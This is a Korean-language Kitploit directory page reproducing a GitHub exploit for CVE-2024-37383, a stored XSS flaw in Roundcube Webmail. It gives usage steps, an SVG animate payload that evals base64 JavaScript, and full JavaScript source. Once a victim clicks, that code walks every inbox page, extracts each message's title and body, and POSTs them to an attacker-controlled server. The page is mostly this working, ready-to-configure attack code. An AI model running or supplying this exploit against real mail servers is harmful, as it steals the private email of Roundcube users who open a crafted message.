Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-37383-exploit — Roundcube 메일 서버의 CVE-2024-37383 (저장형 XSS) 익스플로잇 | Kitploit
도구/GitHubGitHub/amirzargham/cve-2024-37383-exploit
Phishing ToolsPayload GenerationExploitationWeb Application ExploitationData ExfiltrationEmail Security
GitHubamirzargham/cve-2024-37383-exploit

CVE-2024-37383-exploit

Roundcube 메일 서버의 CVE-2024-37383 (저장형 XSS) 익스플로잇

저장소 보기
151년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Exploit 제목: Roundcube 메일 서버 익스플로잇 - CVE-2024-37383 (Stored XSS)

Google Dork:

익스플로잇 작성자: AmirZargham

공급업체 홈페이지: Roundcube - Free and Open Source Webmail Software

소프트웨어 링크: Releases · roundcube/roundcubemail

버전: Roundcube 클라이언트 버전 1.5.6 미만 또는 1.6 ~ 1.6.6

테스트 환경: firefox, chrome

CVE: CVE-2024-37383

CWE: CWE-79

플랫폼: MULTIPLE

유형: WebApps

설명:

CVE-2024-37383 취약점은 Roundcube Webmail 이메일 클라이언트에서 발견되었습니다. 이는 공격자가 사용자 페이지에서 JavaScript 코드를 실행할 수 있게 하는 저장형 XSS(Stored XSS) 취약점입니다. 취약점을 악용하려면 공격자는 Roundcube 클라이언트 버전 1.5.6 미만 또는 1.6 ~ 1.6.6을 사용하는 대상에게 악성 이메일을 열기만 하면 됩니다.

사용법:

1- Roundcube_mail_server_exploit_for_CVE-2024-37383.js 파일을 엽니다.

2- 원본 이메일의 웹 주소(target)와 수신 서버 URL(공격자 서버)을 변경합니다.

3- 코드를 SVG 파일의 <animate> 태그에 넣어 서버로 전송할 수 있습니다. (악성 메일을 보내려면 SMTP 서버를 구성하는 것이 좋습니다.)

root@kitploit:~
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>

4- 피해자가 클릭하면 사서함에 있는 모든 이메일이 협력자 서버로 전송됩니다.

이 코드는 Roundcube 웹메일 서버에서 모든 받은 편지함 메시지를 검색하고 해당 데이터를 특정 협력자 서버 엔드포인트로 전달하는 프로세스를 자동화합니다.

단계별 설명:

1. URL 설정:

주요 웹메일 URL(target)과 수신 서버 URL(attackerserver)을 시작 부분에 변수로 정의하여 쉽게 구성할 수 있습니다.

2. 전체 페이지 수 가져오기:

getPageCount 함수는 주요 웹메일 URL에 GET 요청을 보내 메타데이터를 가져오며, 여기에는 전체 페이지 수(pagecount)가 포함됩니다. pagecount가 발견되면 각 페이지를 반복 처리합니다.

3. 모든 페이지에서 메시지 ID 가져오기:

1부터 pagecount까지 각 페이지에 대해 페이지 번호가 포함된 URL을 구성하여 요청합니다. 각 페이지 응답에서 add_message_row(NUMBER) 인스턴스를 정규식을 사용하여 찾고, 각 인스턴스에서 메시지 ID를 추출하여 모든 ID를 하나의 목록에 수집합니다.

4. 각 메시지 내용 검색:

각 메시지 ID에 대해 해당 메시지의 상세 데이터를 요청하는 URL을 구성합니다. 각 메시지 ID URL에 GET 요청을 보내 전체 응답 HTML을 수신합니다.

5. 메시지 데이터 추출 및 정리:

각 메시지 응답 내에서 정규식을 사용하여 <title> (메시지 제목)과 주요 메시지 내용을 캡처합니다. 메시지 내용에서 모든 HTML 태그를 제거하여 일반 텍스트만 남깁니다.

6. 서버로 데이터 전송:

추출된 각 메시지에 대해 서버 엔드포인트로 제목과 정리된 메시지 내용을 URL 인코딩하여 POST 요청을 보냅니다.

root@kitploit:~
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';

function getPageCount(url) {
    var req = new XMLHttpRequest();

    // Configure the request with credentials
    req.open('GET', url, true);
    req.withCredentials = true;

    // Define the response handler
    req.onload = function() {
        if (req.status === 200) {
            try {
                // Parse the response as JSON
                let jsonResponse = JSON.parse(req.responseText);

                // Access the pagecount field
                let pageCount = jsonResponse.env.pagecount;

                if (pageCount !== undefined) {
                    // Array to store all message IDs
                    let allMessageIds = [];
                    let completedRequests = 0; // Track the number of completed requests

                    // Loop to request each page
                    for (let page = 1; page <= pageCount; page++) {
                        (function(currentPage) {
                            var pageReq = new XMLHttpRequest();
                            // Construct the URL with the current page number
                            var paginatedUrl = `${url}&_page=${currentPage}`;

                            // Configure the request
                            pageReq.open('GET', paginatedUrl, true);
                            pageReq.withCredentials = true;

                            // Define the response handler for each page
                            pageReq.onload = function() {
                                if (pageReq.status === 200) {
                                    try {
                                        // Get the response text
                                        let responseText = pageReq.responseText;

                                        // Use a regex to find all instances of this.add_message_row(NUMBER)
                                        let messageRowRegex = /this\.add_message_row\((\d+)/g;
                                        let matches;

                                        // Find all matches and extract the numbers
                                        while ((matches = messageRowRegex.exec(responseText)) !== null) {
                                            allMessageIds.push(matches[1]);
                                        }

                                    } catch (error) {
                                        // Error handling for page processing
                                    }
                                }
                                completedRequests++; // Increment completed request count
                                // Check if all requests are completed
                                if (completedRequests === pageCount) {
                                    // Loop through all message IDs and create URLs using each one
                                    allMessageIds.forEach(id => {
                                        // Construct a new URL with the current message ID
                                        const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;

                                        // Make a request for each constructed URL
                                        (function(currentUrl) {
                                            var messageReq = new XMLHttpRequest();
                                            messageReq.open('GET', currentUrl, true);
                                            messageReq.withCredentials = true;

                                            // Define the response handler for the message request
                                            messageReq.onload = function() {
                                                if (messageReq.status === 200) {
                                                    // Get the response text
                                                    let messageResponseText = messageReq.responseText;

                                                    // Extract <title> content using regex
                                                    let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
                                                    let title = titleMatch ? titleMatch[1] : "No Title";

                                                    // Use regex to extract the main message content
                                                    var regex = /<!-- html ignored --><!-- head ignored --><!-- meta ignored -->([\s\S]*?)<\/div>/g;
                                                    let messageMatches;
                                                    while ((messageMatches = regex.exec(messageResponseText)) !== null) {
                                                        // Clean HTML tags from the message content
                                                        let cleanMessage = messageMatches[1].replace(/<\/?[^>]+(>|$)/g, ""); // Remove HTML tags

                                                        // Send the cleaned message and title to the user via POST request
                                                        sendMessageToUser(cleanMessage.trim(), title);
                                                    }
                                                }
                                            };

                                            // Handle network errors for message request
                                            messageReq.onerror = function() {
                                                // Error handling for message request
                                            };

                                            // Send the request for the current message URL
                                            messageReq.send();
                                        })(newUrl);
                                    });
                                }
                            };

                            // Handle network errors for page request
                            pageReq.onerror = function() {
                                completedRequests++; // Increment completed request count even on error
                            };

                            // Send the request for the current page
                            pageReq.send();
                        })(page);
                    }
                }
            } catch (error) {
                // Error handling for JSON parsing
            }
        }
    };

    // Handle network errors for initial request
    req.onerror = function() {
        // Error handling for initial request
    };

    // Send the request
    req.send();
}

// Function to send cleaned message and title to the specified user via POST request
function sendMessageToUser(message, title) {
    var postReq = new XMLHttpRequest();
    postReq.open('POST', attackerserver, true);
    postReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

    // Define the response handler for the POST request
    postReq.onload = function() {
        // Response handler for successful send
    };

    // Handle network errors for sending message
    postReq.onerror = function() {
        // Error handling for message send
    };

    // Send the POST request with the URL-encoded title and message content
    postReq.send(`title=${encodeURIComponent(title)}&message=${encodeURIComponent(message)}`);
}

// Usage
var url = `${target}/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1730525119718&_=1730525069360`;
getPageCount(url);

도구 다운로드